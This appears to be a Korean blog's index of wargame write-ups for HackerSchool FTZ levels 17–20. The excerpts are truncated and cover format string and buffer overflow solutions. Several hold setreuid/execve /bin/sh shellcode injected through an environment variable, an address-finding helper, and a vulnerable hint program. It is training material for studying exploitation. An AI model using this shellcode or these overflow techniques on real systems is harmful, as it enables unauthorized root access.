Wargame/HackerSchool FTZ
-
lvl 20Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트 정보는 아래와 같다. → fgets로부터 입력받을 수 있는 입력 값의 길이가 79자리로 제한되어 있으므로(bleh가 80바이트) BOF에 의해 RET를 덮어쓰는 것은 불가능하다. 따라서, BOF 문제는 아니다. → 하지만, printf(bleh); 에서 포맷스트링 버그를 확인할 수 있다. → 먼저, 포맷스트링 버그의 개념을 알아본다. int printf(const char *format [ ,argument]...); → 인자의 개수가 정해져있지 않고 넣는데로 인자가 전달되고, printf의 서식문자에 출력이 될 값이 인자로 추가로 붙어 활용된다. 그리고 문자열을 직접 인자로 전달하지않고, 문자열이 저장된 주소 값을 인자로 전달하는 특징이 있다. → 여기서, 문자열에 서식문자(%d,%n, .....
-
lvl 19Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트를 확인한다. → 매우 간단해 보인다. 바로 BOF 를 시도해 본다. → 환경변수에 쉘코드를 넣고 주소 값을 확인한다. export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') #include int main(){ printf("addr: %p\n", getenv("SHELLCODE")); return 0;} [level19@ftz level19]$ export SHELLCODE=$(pytho..
-
lvl 18Wargame/HackerSchool FTZ 2019. 2. 13. 09:25
→ 힌트가 길어서 코드로 표현한다. [level18@ftz level18]$ cat hint#include #include #include #include void shellout(void);int main(){ char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(F..
-
lvl 17Wargame/HackerSchool FTZ 2019. 2. 12. 09:14
→ 힌트 정보를 확인한다. → 16번 문제와 유사하지만, shell() 함수가 선언되지 않았다. → 매모리 맵 구조는 16번과 같으므로 바로 아래와 같이 그려진다. → shell() 함수가 존재하지 않으므로, 환경변수에 쉘코드를 넣은 후 실행하는 방식으로 해결한다. → 메모리 맵 구조에 의하면 NOP*40 + 환경변수 주소하면 페이로드 구성은 끝이다. → 먼저 환경변수에 쉘코드를 삽입한 후 주소를 구한다. export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53..